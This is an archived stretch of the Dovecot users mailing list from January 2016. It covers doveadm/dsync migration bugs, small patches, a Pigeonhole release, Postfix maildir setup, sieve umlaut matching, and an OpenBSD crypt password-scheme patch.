From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Fri, 8 Jan 2016 12:34:29 +0100 Subject: doveadm/dsync/imapc loose folder subscriptions Message-ID: <568F9EC5.7070902@heinlein-support.de> As I already wrote some days ago we're actually running a huge migration using doveadm/dsync-backup/imapc: doveadm -o imapc_user="$UNAME1" -o imapc_password="$PWORD1" -o imapc_host=$SERVER1 -o pop3c_user="$UNAME1" -o pop3c_password="$PWORD1" -o pop3c_host=$SERVER1 -D -v backup -R -u "$UNAME2" imapc: We just noticed that doveadm looses changes in folder subscriptions if a folder is copied again. a) Copy a mdbox-home of a user (using doveadm backup...) b) Change his subscriptions on the source-side OR change his subscripts on the destination-side OR delete his subscriptions-file. c) Copy that mdbox-home from that user again (using doveadm backup...) doveadm will copy & merge his mails, but he does NOT check for changes in folder subscriptions. As you can see in the attached logs, doveadm nitices changes in subscriptions: dsync(p100490p11): Debug: brain S: Local mailbox tree: INBOX.Trash guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 uid_next=1206 subs=yes last_change=0 last_subs=0 dsync(p100490p11): Debug: brain M: Local mailbox tree: INBOX.Trash guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 uid_next=1206 subs=no last_change=1448903088 last_subs=1448177531 but doesn't fix the subscriptions list: dsync(p100490p11): Debug: brain M: Mailbox INBOX.Trash: local=b36f688eae08506001091708006abe5a/1448903088/1, remote=b36f688eae08506001091708006abe5a/0/1: Mailboxes are equal Even a deletion of the subscriptions file doesn't work. doveadm does not create a new subscription file. This bug is heavy, because incremental backups made by doveadm backup aren't complete and reliable any more. Our biggest problem ist, that we changed the folder prefix and doveadm does change the folder names, but not the subscriptions. So we have several hundred thousand users with broken subscriptions (yes, sed can fix this, I know, but also we'd kill changes made by users during migration period). Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From Ralf.Hildebrandt at charite.de Fri Jan 8 11:49:04 2016 From: Ralf.Hildebrandt at charite.de (Ralf Hildebrandt) Date: Fri, 8 Jan 2016 12:49:04 +0100 Subject: doveadm import - strange warning In-Reply-To: <20150716084628.GA17953@sys4.de> References: <20150716084628.GA17953@sys4.de> Message-ID: <20160108114904.GG4009@charite.de> * Ralf Hildebrandt : > I'm using 2:2.2.18-1~auto+91, but the warning has been around for ages > :) Gone at least since 2:2.2.21-1~auto+18 -- Ralf Hildebrandt Gesch?ftsbereich IT | Abteilung Netzwerk Charit? - Universit?tsmedizin Berlin Campus Benjamin Franklin Hindenburgdamm 30 | D-12203 Berlin Tel. +49 30 450 570 155 | Fax: +49 30 450 570 962 ralf.hildebrandt at charite.de | http://www.charite.de From tss at iki.fi Fri Jan 8 15:33:21 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 8 Jan 2016 17:33:21 +0200 Subject: doveadm search -A tries to create mailboxes In-Reply-To: <568F1EA6.7060509@KnoxvilleChristian.org> References: <568C296A.1040207@KnoxvilleChristian.org> <568DC96D.4070806@KnoxvilleChristian.org> <568F1EA6.7060509@KnoxvilleChristian.org> Message-ID: <905335B8-D897-4D70-8E6E-4BF85C2EF82B@iki.fi> On 08 Jan 2016, at 04:27, Bill Shirley wrote: > > However, I would think that only applies to mail delivery or POP3/IMAP access. Are you saying that all doveadm -A commands will create Maildir and 'auto=create/subscribe' folders? Why did it not create '~/Maildir/SystemFolders'? I did hit Ctrl-C as soon as I saw what doveadm was doing. > > Again, I don't think SEARCH should create any directories. Maybe have a doveadm CREATE for that purpose? I am not the creator nor a developer of Dovecot; just one user with an opinion. If they think this is the correct behavior I'm fine with that. doveadm search doesn't autocreate any folders, but all mail accessing code will create the mail root directory. Whether that's good or not depends on your use case. It's safer to always create it though. That guarantees that if there are configuration mistakes, missing mountpoints or things like that the problem should get noticed immediately (due to a failing mkdir) rather than an empty mailbox provided to the user. I think pretty much the only downside is the situation that you noticed: if userdb passwd-file is used it contains some users that aren't actually mail users. But even then not mkdiring would solve the problem only sometimes. You might want to use doveadm -A parameter for commands that actually modify the users, and those would still be failing. So I think the proper fix is to just make sure that -A matches only the actual mail users, which solves the whole issue. It could be nice to have some feature that allows filtering out specific users though, besides just having the first_valid_uid filter. Maybe something in /etc/passwd itself could control whether user would be a mail user or not, like: userdb { driver = passwd # a) only return users with home directory prefix /home/ #args = include=home=/home/* # b) don't return users with shell set to /bin/false #args = exclude=shell=/bin/false } From tss at iki.fi Fri Jan 8 15:39:51 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 8 Jan 2016 17:39:51 +0200 Subject: How to skip errors on doveadm backup for migration ? In-Reply-To: <20160108105006.GA22080@mp3.niederrhein.de> References: <20160108105006.GA22080@mp3.niederrhein.de> Message-ID: <9BB6F86B-9CF4-469B-9E79-9DA02C907CEC@iki.fi> On 08 Jan 2016, at 12:50, Christoph Adomeit wrote: > > Hi there, > > I have to migrate data out of a very old (debian 4) and buggy cyrus mailserver. > About 40 Users with 200000 Messages each. > > Doveadm backup works quite well and gives me most of the mails. About every 100.000 Mail > cannot be exported by cyrus. I do not want to bother about these errors. > Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. > > My problem is that doveadm backup exits with an error if it cannot read a mail. What does Cyrus reply? Is it a NO reply to FETCH command? > Is there some way or option to make doveadm backup just skip the errors and continue with the next message ? Not currently. You could try if the attached patch helps. It should write the mail as empty. -------------- next part -------------- A non-text attachment was scrubbed... Name: diff Type: application/octet-stream Size: 546 bytes Desc: not available URL: -------------- next part -------------- From tss at iki.fi Fri Jan 8 15:41:46 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 8 Jan 2016 17:41:46 +0200 Subject: Enterprise Repository Access? In-Reply-To: <568DB3B7.1020800@indietorrent.org> References: <568DB3B7.1020800@indietorrent.org> Message-ID: <4CBB0D81-63CC-46D4-BAA7-472502C3E603@iki.fi> On 07 Jan 2016, at 02:39, Ben Johnson wrote: > > Hello! > > I apologize if this has been asked already. (I did search before posting...) > > Is it still possible to obtain access to Dovecot's Enterprise > Repository, for Ubuntu and Debian, at no cost? > > When last I registered for such access, I recall there being a "mock > product" in the Dovecot Store that provided no-cost access to this > repository. > > Any information in this regard is very much appreciated. The plan for now at least is to let existing accounts use it, but not add any new ones. This might change at some point. From tss at iki.fi Fri Jan 8 15:49:56 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 8 Jan 2016 17:49:56 +0200 Subject: doveadm/dsync/imapc and foldernames including a "%" In-Reply-To: <568D464C.3040900@heinlein-support.de> References: <568D464C.3040900@heinlein-support.de> Message-ID: > On 06 Jan 2016, at 18:52, Peer Heinlein wrote: > > > We're using doveadm/dsync/imapc to migrate accounts from Courier to > Dovecot 2.2.20. > > On the source-server some user have folder names including a "%" in > their name. > > Looks like doveadm isn't able to handle that folder names. I always > stops with: > > dsync(testtest): Error: Failed to access mailbox INBOX.Test%TEST: > Mailbox does not exist, or must be subscribed to. Hmm. The attached patch fixes it, but I'm not sure yet if it breaks something else. Need to create some automated tests for imapc handling these various special characters.. -------------- next part -------------- A non-text attachment was scrubbed... Name: diff Type: application/octet-stream Size: 489 bytes Desc: not available URL: -------------- next part -------------- From stephan at rename-it.nl Fri Jan 8 19:06:26 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Fri, 8 Jan 2016 20:06:26 +0100 Subject: Released Pigeonhole v0.4.11 for Dovecot v2.2.21 Message-ID: <569008B2.7050008@rename-it.nl> Hello Dovecot users, Here is the final v0.4.11 release of Pigeonhole for Dovecot v2.2.21. Nothing of consequence changed since the RC. Changelog v0.4.11: - Sieve mime extension: Fixed the header :mime :anychild test to work properly outside a foreverypart loop. - Several fixes in message body part handling: - Fixed assert failure occurring when text extraction is attempted on an empty or broken text part. - Fixed assert failure in handling of body parts that are converted to text. - Fixed header unfolding for (mime) headers parsed from any mime part. - Fixed trimming for (mime) headers parsed from any mime part. - Fixed erroneous changes to the message part tree structure performed when re-parsing the message. - LDA Sieve plugin: Fixed logging of actions; sometimes the configured log format was not followed. - LDA Sieve plugin: Fixed bug in error handling of script storage initialization. - Sieve Extprograms plugin: Ignored ENOTCONN error in shutdown(fd, SHUT_WR) call. - Fixed duplication of discard actions in the script result. Each discard was counted as a separate action, which means that action limit would be crossed too early. - Made sure that quota errors never get logged as errors in syslog. - Fixed handling of implicit keep for a partially executed transaction that yielded a temporary failure. - Fixed handling of global errors. If master and user error handler were identical, in some cases the log message could be lost. - Fixed AIX compile issue in message body parser. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz.sig Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan at rename-it.nl From dilieto at lineone.net Sat Jan 9 10:49:55 2016 From: dilieto at lineone.net (dilieto at lineone.net) Date: Sat, 9 Jan 2016 10:49:55 +0000 (GMT) Subject: 2.2.13 fts-squat corrupt uidlist - wrong indexid Message-ID: <9116852.371731452336595721.JavaMail.defaultUser@defaultHost> I have the same problem described in this old thread: http://dovecot.org/list/dovecot/2012-April/135162.html I have done some debugging, by adding log messages to squat_uidlist_map_header and squat_trie_refresh. I have found that the "wrong indexid" warning is always triggered under the following conditions - uidlist->hdr.indexid != 0 - uidlist->trie->hdr.indexid == 0 - squat_trie_is_file_stale(trie) == 0 In other words it looks like the squat_uidlist_map_header function is called with an uninitialized trie, an initialized header, and a current (not stale) file. Because of the latter, squat_trie_refresh never calls squat_trie_open, the trie stays uninitialized and later triggers the warning. In addition the search results will only include mails added to the mailbox after the warning. By replacing the call to squat_trie_refresh with squat_trie_open in squat_uidlist_map_header, the warning no longer happens. Patch is attached. I am not sure this is the correct way of fixing the problem, but it works reliably. -------------- next part -------------- A non-text attachment was scrubbed... Name: fix-fts-squat-wrong-indexid.zip Type: application/zip Size: 497 bytes Desc: not available URL: From lists at merit.unu.edu Sat Jan 9 12:06:52 2016 From: lists at merit.unu.edu (mj) Date: Sat, 9 Jan 2016 13:06:52 +0100 Subject: Enterprise Repository Access? In-Reply-To: <4CBB0D81-63CC-46D4-BAA7-472502C3E603@iki.fi> References: <568DB3B7.1020800@indietorrent.org> <4CBB0D81-63CC-46D4-BAA7-472502C3E603@iki.fi> Message-ID: <5690F7DC.8020305@merit.unu.edu> On 01/08/2016 04:41 PM, Timo Sirainen wrote: > The plan for now at least is to let existing accounts use it, but not > add any new ones. This might change at some point. Does this mean that using the latest dovecot versions (aka the Dovecot Enterprise Repository Access) is being phased out? And in the (perhaps even near) future, those who are using it will have to start looking elsewhere..? Compiling our own dovecot for production use sounds less appealing, and the xi.rename-it.nl repo is marked as unstable and not recommended for production use... That would be a disappointment... and I also don't seem to find paid dovecot plans/subscriptions, licenses on the open-xchange site..? (they mostly talk about an "OX App Suite") I hope I'm missing something..? MJ From stephan at rename-it.nl Sat Jan 9 12:42:53 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Sat, 9 Jan 2016 13:42:53 +0100 Subject: Pigeonhole code repository moved to Github Message-ID: <5691004D.2090603@rename-it.nl> The public repository for Pigeonhole is now located at https://github.com/dovecot/pigeonhole . The repositories at http://hg.rename-it.nl are no longer updated. From mdb at primelogic.com Sat Jan 9 22:49:08 2016 From: mdb at primelogic.com (mdb at primelogic.com) Date: Sat, 9 Jan 2016 14:49:08 -0800 Subject: Directory delivery discombobulation Message-ID: <56918E64.6060305@primelogic.com> Greetings, On a server running FreeBSD 8.2, I'm configuring Postfix 2.8.0 and Dovecot 1.2.16, using Dovecot for SASL and LDA. For reasons I won't go into, I don't want to upgrade anything on the server to current versions. I'm configuring for maildir with virtuals. Here's the directory structure I want to use: /usr/vmail/domain/username/cur,new,tmp And here's where Dovecot is delivering mail: /usr/vmail/domain/user/Maildir/cur,new,tmp Oddly, the first time I connected with Thunderbird (configured for IMAP), the following directories were created in /usr/vmail/domain/user/, i.e., below Maildir: .INBOX.Drafts .INBOX.Sent .Junk .Trash Thunderbird can see sent mail in .INBOX.Sent, but it can't see any mail in Maildir. Obviously, something is amiss in my configuration. Here's the dovecot -n output: # 1.2.16: /usr/local/etc/dovecot.conf # OS: FreeBSD 8.2-RELEASE i386 ufs protocols: imap pop3 ssl: no disable_plaintext_auth: no login_dir: /var/run/dovecot/login login_executable(default): /usr/local/libexec/dovecot/imap-login login_executable(imap): /usr/local/libexec/dovecot/imap-login login_executable(pop3): /usr/local/libexec/dovecot/pop3-login verbose_proctitle: yes first_valid_uid: 1000 first_valid_gid: 1000 mail_privileged_group: mail mail_location: maildir:/home/vmail/%d/%n maildir_very_dirty_syncs: yes mail_executable(default): /usr/local/libexec/dovecot/imap mail_executable(imap): /usr/local/libexec/dovecot/imap mail_executable(pop3): /usr/local/libexec/dovecot/pop3 mail_plugin_dir(default): /usr/local/lib/dovecot/imap mail_plugin_dir(imap): /usr/local/lib/dovecot/imap mail_plugin_dir(pop3): /usr/local/lib/dovecot/pop3 imap_client_workarounds(default): delay-newmail netscape-eoh tb-extra-mailbox-sep imap_client_workarounds(imap): delay-newmail netscape-eoh tb-extra-mailbox-sep imap_client_workarounds(pop3): pop3_client_workarounds(default): pop3_client_workarounds(imap): pop3_client_workarounds(pop3): outlook-no-nuls oe-ns-eoh lda: sendmail_path: /usr/sbin/sendmail auth default: mechanisms: plain login username_format: %Lu passdb: driver: passwd-file args: /etc/dovecot/passwd userdb: driver: static args: uid=1000 gid=1000 home=/home/vmail/%d/%n socket: type: listen client: path: /var/spool/postfix/private/auth mode: 432 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 384 user: postfix group: postfix Note that I haven't defined mail_location as "maildir:~/Maildir," yet Dovecot is delivering to the Maildir directory (a directory I don't want). I'm not sure about the path in args: userdb: driver: static args: uid=1000 gid=1000 home=/home/vmail/%d/%n Here's the LDA config for virtuals in Postfix's master.conf: dovecot unix - n n - - pipe flags=DRhu user=vmail:vmail argv=/usr/local/libexec/dovecot/dovecot-lda -f ${sender} -d ${recipient} I'm also unsure about the home_mailbox value in Postfix's main.cf. The docs say this: " Specify "Maildir/" for qmail-style delivery (the / is required)." And there was no alternative listed, so that's what I used: home_mailbox = Maildir/ However, does it designate a directory named Maildir? Not sure if they're relevant, but here are some additional config lines from Postfix's main.cf virtual_mailbox_domains = /etc/postfix/vhosts virtual_mailbox_base = /home/vmail/ virtual_mailbox_maps = hash:/etc/postfix/vmaps virtual_minimum_uid = 1000 virtual_uid_maps = static:1000 virtual_gid_maps = static:1000 smtpd_sasl_type = dovecot # Can be an absolute path, or relative to $queue_directory smtpd_sasl_path = /var/spool/postfix/private/auth # and the common settings to enable SASL: smtpd_sasl_auth_enable = yes smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated,reject_unauth_destination Finally, "postconf -a" returns "dovecot," so SASL is copacetic. That's all I can think of that might be relevant. It sure would be nice if Dovecot would forget about the Maildir directory and deliver directly to the username/ directory so Thunderbird could access it, but other than setting the mail_location var to "maildir:/home/vmail/%d/%n," I'm at a loss. Thanks for your help. Doc From noel.butler at ausics.net Sun Jan 10 02:32:21 2016 From: noel.butler at ausics.net (Noel Butler) Date: Sun, 10 Jan 2016 12:32:21 +1000 Subject: Enterprise Repository Access? In-Reply-To: <5690F7DC.8020305@merit.unu.edu> References: <568DB3B7.1020800@indietorrent.org> <4CBB0D81-63CC-46D4-BAA7-472502C3E603@iki.fi> <5690F7DC.8020305@merit.unu.edu> Message-ID: <829795ee83d03603d90a26355799f82f@ausics.net> On 09/01/2016 22:06, mj wrote: > > Compiling our own dovecot for production use sounds less appealing, What's so un-appealing about building from source? It's then perfectly matched to your system. Admittedly I can build kernels faster than latest dovecot's, but that's just the "make time" ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --with-mysql --without-pam --without-shadow --without-bsdauth is done in seconds... Nothing at all hard about that. -- If you have the urge to reply to all rather than reply to list, you best first read http://members.ausics.net/qwerty/ From Christoph.Adomeit at gatworks.de Sun Jan 10 18:25:42 2016 From: Christoph.Adomeit at gatworks.de (Christoph Adomeit) Date: Sun, 10 Jan 2016 19:25:42 +0100 Subject: How to skip errors on doveadm backup for migration ? In-Reply-To: <9BB6F86B-9CF4-469B-9E79-9DA02C907CEC@iki.fi> References: <20160108105006.GA22080@mp3.niederrhein.de> <9BB6F86B-9CF4-469B-9E79-9DA02C907CEC@iki.fi> Message-ID: <20160110182542.GA6286@mp3.niederrhein.de> Hi Timo, thanks for the patch. I applied it, compiled doveadm and tried the new binary but it still baily out with this message: dsync(user at domain.de): Error: Exporting mailbox INBOX.Sent failed: Can't lookup saved-date for UID=515: Internal error occurred. Refer to server log for more information. [2016-01-10 17:02:08] Do you have any idea how I can skip these errors ? Thanks Christoph On Fri, Jan 08, 2016 at 05:39:51PM +0200, Timo Sirainen wrote: > On 08 Jan 2016, at 12:50, Christoph Adomeit wrote: > > > > Hi there, > > > > I have to migrate data out of a very old (debian 4) and buggy cyrus mailserver. > > About 40 Users with 200000 Messages each. > > > > Doveadm backup works quite well and gives me most of the mails. About every 100.000 Mail > > cannot be exported by cyrus. I do not want to bother about these errors. > > Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. > > > > My problem is that doveadm backup exits with an error if it cannot read a mail. > > What does Cyrus reply? Is it a NO reply to FETCH command? > > > Is there some way or option to make doveadm backup just skip the errors and continue with the next message ? > > Not currently. You could try if the attached patch helps. It should write the mail as empty. > > > From farokh at mcfsoftware.com Sun Jan 10 22:42:53 2016 From: farokh at mcfsoftware.com (Farokh Irani) Date: Sun, 10 Jan 2016 17:42:53 -0500 Subject: How to skip errors on doveadm backup for migration ? In-Reply-To: <20160108105006.GA22080@mp3.niederrhein.de> References: <20160108105006.GA22080@mp3.niederrhein.de> Message-ID: <5692DE6D.8040003@mcfsoftware.com> If both servers are using IMAP, maybe imapsync (http://imapsync.lamiral.info) would be an easier way to go... Farokh ---------------------------------------------------------------------------- MCF Software...simply dependably engineered For all your computer and networking needs including hosting solutions for every need. Phone: 845-735-0210 Cell: 914-262-1594 > Christoph Adomeit > January 8, 2016 at 05:50 > Hi there, > > I have to migrate data out of a very old (debian 4) and buggy cyrus > mailserver. > About 40 Users with 200000 Messages each. > > Doveadm backup works quite well and gives me most of the mails. About > every 100.000 Mail > cannot be exported by cyrus. I do not want to bother about these errors. > Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. > > My problem is that doveadm backup exits with an error if it cannot > read a mail. > > > > Is there some way or option to make doveadm backup just skip the > errors and continue with the next message ? > > I want to use doveadm sync because it preserves the uids of the mails. > > Imapsync works great but does not prserve uids. > > cyrus2dovecot is not an option because it does not work incremental > and conversion would take far too long. > > Any ideas what I can do ? > > Thanks > Christoph From Christoph.Adomeit at gatworks.de Mon Jan 11 09:45:06 2016 From: Christoph.Adomeit at gatworks.de (Christoph Adomeit) Date: Mon, 11 Jan 2016 10:45:06 +0100 Subject: How to skip errors on doveadm backup for migration ? In-Reply-To: <5692DE6D.8040003@mcfsoftware.com> References: <20160108105006.GA22080@mp3.niederrhein.de> <5692DE6D.8040003@mcfsoftware.com> Message-ID: <20160111094506.GA17582@mp3.niederrhein.de> Hi Farokh, yes, imapsync is great. I tested it myself and it fetched all the mails. Only Problem: Imapsync will loose the Email-UIDs so all Mail will be downloaded again by the clients after Server switch. dsync is able to presere the Uids. Thanks Christoph On Sun, Jan 10, 2016 at 05:42:53PM -0500, Farokh Irani wrote: > If both servers are using IMAP, maybe imapsync > (http://imapsync.lamiral.info) would be an easier way to go... > > Farokh > ---------------------------------------------------------------------------- > MCF Software...simply dependably engineered > For all your computer and networking needs including hosting solutions > for every need. > Phone: 845-735-0210 > Cell: 914-262-1594 > > > > >Christoph Adomeit > >January 8, 2016 at 05:50 > >Hi there, > > > >I have to migrate data out of a very old (debian 4) and buggy cyrus > >mailserver. > >About 40 Users with 200000 Messages each. > > > >Doveadm backup works quite well and gives me most of the mails. About > >every 100.000 Mail > >cannot be exported by cyrus. I do not want to bother about these errors. > >Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. > > > >My problem is that doveadm backup exits with an error if it cannot read a > >mail. > > > > > > > >Is there some way or option to make doveadm backup just skip the errors > >and continue with the next message ? > > > >I want to use doveadm sync because it preserves the uids of the mails. > > > >Imapsync works great but does not prserve uids. > > > >cyrus2dovecot is not an option because it does not work incremental and > >conversion would take far too long. > > > >Any ideas what I can do ? > > > >Thanks > >Christoph -- Christoph Adomeit GATWORKS GmbH Reststrauch 191 41199 Moenchengladbach Sitz: Moenchengladbach Amtsgericht Moenchengladbach, HRB 6303 Geschaeftsfuehrer: Christoph Adomeit, Hans Wilhelm Terstappen Christoph.Adomeit at gatworks.de Internetloesungen vom Feinsten Fon. +49 2166 9149-32 Fax. +49 2166 9149-10 From Hajo.Locke at gmx.de Mon Jan 11 10:24:48 2016 From: Hajo.Locke at gmx.de (Hajo Locke) Date: Mon, 11 Jan 2016 11:24:48 +0100 Subject: sieve - content checks with special chars Message-ID: <569382F0.5040502@gmx.de> Hello, currently i try subject tests with special chars and german umlauts ??? etc. if header :contains "subject" ["???? ???"] { fileinto "umlauts"; } iam surprised, this is working out of the box. great! in procmail i had to add a second step by manual coding the needle with perl. is sieve reliable at this kind of tests or are there some special cases? iam worried about this, because it was to easy. confusing... ;) Thanks, Hajo From rs at sys4.de Mon Jan 11 11:33:27 2016 From: rs at sys4.de (Robert Schetterer) Date: Mon, 11 Jan 2016 12:33:27 +0100 Subject: sieve - content checks with special chars In-Reply-To: <569382F0.5040502@gmx.de> References: <569382F0.5040502@gmx.de> Message-ID: <56939307.7040203@sys4.de> Am 11.01.2016 um 11:24 schrieb Hajo Locke: > Hello, > > currently i try subject tests with special chars and german umlauts ??? > etc. > > if header :contains "subject" ["???? ???"] { > fileinto "umlauts"; > } > > iam surprised, this is working out of the box. great! in procmail i had > to add a second step by manual coding the needle with perl. > is sieve reliable at this kind of tests or are there some special cases? > iam worried about this, because it was to easy. confusing... ;) > > Thanks, > Hajo I mail fail, but i think working with special chars was fixed some time ago and is now default on i found some info here http://wiki2.dovecot.org/Pigeonhole/Sieve/Troubleshooting#Mailbox_Names_with_non-ASCII_Characters_Cause_Problems Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From stephan at rename-it.nl Mon Jan 11 11:47:09 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Mon, 11 Jan 2016 12:47:09 +0100 Subject: sieve - content checks with special chars In-Reply-To: <569382F0.5040502@gmx.de> References: <569382F0.5040502@gmx.de> Message-ID: <5693963D.20001@rename-it.nl> Op 11-1-2016 om 11:24 schreef Hajo Locke: > Hello, > > currently i try subject tests with special chars and german umlauts > ??? etc. > > if header :contains "subject" ["???? ???"] { > fileinto "umlauts"; > } > > iam surprised, this is working out of the box. great! in procmail i > had to add a second step by manual coding the needle with perl. > is sieve reliable at this kind of tests or are there some special cases? > iam worried about this, because it was to easy. confusing... ;) https://tools.ietf.org/html/rfc5228#section-2.7.2 Pigeonhole implements this. Any deviant behavior is a bug that will be fixed. Regards, Stephan. From stephan at rename-it.nl Mon Jan 11 17:56:48 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Mon, 11 Jan 2016 18:56:48 +0100 Subject: Dovecot code repository moved to Github (dovecot-cvs list revived) In-Reply-To: <5BD83C14-1C4A-4D44-AB9A-D0A8FDE4B0F2@iki.fi> References: <5BD83C14-1C4A-4D44-AB9A-D0A8FDE4B0F2@iki.fi> Message-ID: <5693ECE0.7010902@rename-it.nl> Op 12/9/2015 om 5:32 PM schreef Timo Sirainen: > I'm not sure yet if we should continue pushing commit emails to dovecot-cvs list or if Github's internal notifications are enough. In any case dovecot-cvs list isn't working right now. As you may have noticed, the dovecot-cvs mailing list is working again. Regards, Stephan. From stu at spacehopper.org Mon Jan 11 23:45:14 2016 From: stu at spacehopper.org (Stuart Henderson) Date: Mon, 11 Jan 2016 23:45:14 +0000 (UTC) Subject: password schemes when crypt() has no DES Message-ID: https://github.com/dovecot/core/commit/54a1b3574acab5f778843f7f1e04d2d26d61a852 fixed a 'doveadm pw' crash "when trying to use CRYPT scheme when crypt() doesn't support DES" by testing to see if crypt would generate a DES password and, if not, disabling the scheme. I'm using Dovecot on OpenBSD with bcrypt passwords stored in LDAP as "{CRYPT}$2b$...". OpenLDAP is built with --enable-crypt which takes the same approach as Dovecot of just passing to crypt(), so before the above commit, both programs were able to authenticate. (Changing the scheme value stored in the ldap passdb to BLF-CRYPT would fix Dovecot but break things for other programs including OpenLDAP itself). For now I went with a dirty patch to get things working again, does anyone have an idea for a nicer fix? Thanks. --- src/auth/password-scheme-crypt.c.orig Fri Jan 8 01:04:13 2016 +++ src/auth/password-scheme-crypt.c Fri Jan 8 01:23:35 2016 @@ -111,7 +111,12 @@ static const struct { const char *salt; const char *expected; } sample[] = { +#ifdef __OpenBSD__ + { "08/15!test~4711", "$2a$04$0123456789abcdefABCDEF", + "$2a$04$0123456789abcdefABCDE.N.drYX5yIAL1LkTaaZotW3yI0hQhZru" }, +#else { "08/15!test~4711", "JB", "JBOZ0DgmtucwE" }, +#endif { "08/15!test~4711", "$2a$04$0123456789abcdefABCDEF", "$2a$04$0123456789abcdefABCDE.N.drYX5yIAL1LkTaaZotW3yI0hQhZru" }, { "08/15!test~4711", "$5$rounds=1000$0123456789abcdef", @@ -124,8 +129,13 @@ static const struct { /* keep in sync with the sample struct above */ static const struct password_scheme crypt_schemes[] = { +#ifdef __OpenBSD__ { "CRYPT", PW_ENCODING_NONE, 0, crypt_verify, + crypt_generate_blowfisch }, +#else + { "CRYPT", PW_ENCODING_NONE, 0, crypt_verify, crypt_generate_des }, +#endif { "BLF-CRYPT", PW_ENCODING_NONE, 0, crypt_verify, crypt_generate_blowfisch }, { "SHA256-CRYPT", PW_ENCODING_NONE, 0, crypt_verify, From jonas at bjorklund.cn Tue Jan 12 07:23:31 2016 From: jonas at bjorklund.cn (=?ISO-8859-1?Q?Jonas_Bj=F6rklund?=) Date: Tue, 12 Jan 2016 08:23:31 +0100 (CET) Subject: No SSL on some users Message-ID: Hello, Is there a way to allow only certain users on IMAP/POP3 without SSL? Im running MySQL backend. /Jonas From skdovecot at smail.inf.fh-brs.de Tue Jan 12 08:58:11 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Tue, 12 Jan 2016 09:58:11 +0100 (CET) Subject: client setting "move to trash" in shared mailboxes Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, does somebody run clients with "move to trash" on delete in conjunction with shared mailboxes successfully? When one tries to delete a mailbox in the shared namespace, Dovecot responds with "Can't rename mailboxes across specified storages" OK, the failure stems from the fact that the client (Thunderbird) tries to rename the mailbox into "Trash.mailbox" with the user's private namespace. Does somebody know of an AddOn to have Thunderbird move mailboxes into the shared user's Trash, for example? Does somebody uses "mark as deleted", but use a virtual folder as Trashbin? What option would I have, if the users expect a "trashbin" of some sort? - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVpTAJHz1H7kL/d9rAQI3twgAsmZdUdYzwQ200j2ILE2XhG3Iy7oFSWd4 YrmOdw09Fr8JtrQIcsbu8BZyyBOse9CLNICQFkmfsSBEXSFX1v5IGfH98RcvhgaM pQwdY1SMctkI4nJHWkJFjC+SCQlDZmV6MVZD7pv+7VDjvvvh/jr0b/uQunYvPLle BEbz1hSssY8bFmWhZxddydzsYgQfFIHUR2VsINd/YHPZlUjJQUqkPwbmDZ4XVN+P WHXYaR4uhrn5arpibk0x5PG/9wlnQvMkStN/kZNBS4jfsKLz6RTQhKgeNmKXyoZD mjUK5r57GkU0MdrRNqQqbgOIrU9V0h1oBH7PFjVoaddw0pYECPlbuw== =hwNa -----END PGP SIGNATURE----- From tobster at brain-force.ch Tue Jan 12 09:22:47 2016 From: tobster at brain-force.ch (Tobi) Date: Tue, 12 Jan 2016 10:22:47 +0100 Subject: Problems with doveadm backup in a dovecot director environment Message-ID: <5694C5E7.5040805@brain-force.ch> Hi list I have configured my dovecot(s) in a frontend-backend setup using the director feature of dovecot. Works like charm, but I'm currently unable to use doveadm backup to "sync" the mailbox to a dovecot system which is not within director_mail_servers settings Before I added the director feature I could fire a simple doveadm backup -u myuser at mydomain.tld tcps:otherserver.mydomain.tld:2424 After activating the director the command above fails as the connection is always tried to be established to one of the servers specified in director_mail_servers. Is it possible to use doveadm backup towards a server which is not in director_mail_servers? I tried with the -o option of doveadm to override several settings like host or director_mail_servers but no success: the command still tries to connect to an ip from director_mail_servers and not to the destination given as parameter to the command. Is there anyway to achieve that? Thanks a lot for any help tobi -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 819 bytes Desc: OpenPGP digital signature URL: From tobster at brain-force.ch Tue Jan 12 09:48:33 2016 From: tobster at brain-force.ch (Tobi) Date: Tue, 12 Jan 2016 10:48:33 +0100 Subject: Problems with doveadm backup in a dovecot director environment In-Reply-To: <5694C5E7.5040805@brain-force.ch> References: <5694C5E7.5040805@brain-force.ch> Message-ID: <5694CBF1.5090207@brain-force.ch> Sorry own stupidity :-) After issuing the command on the backend server it works like expected. I did issue the command on the frontend initially 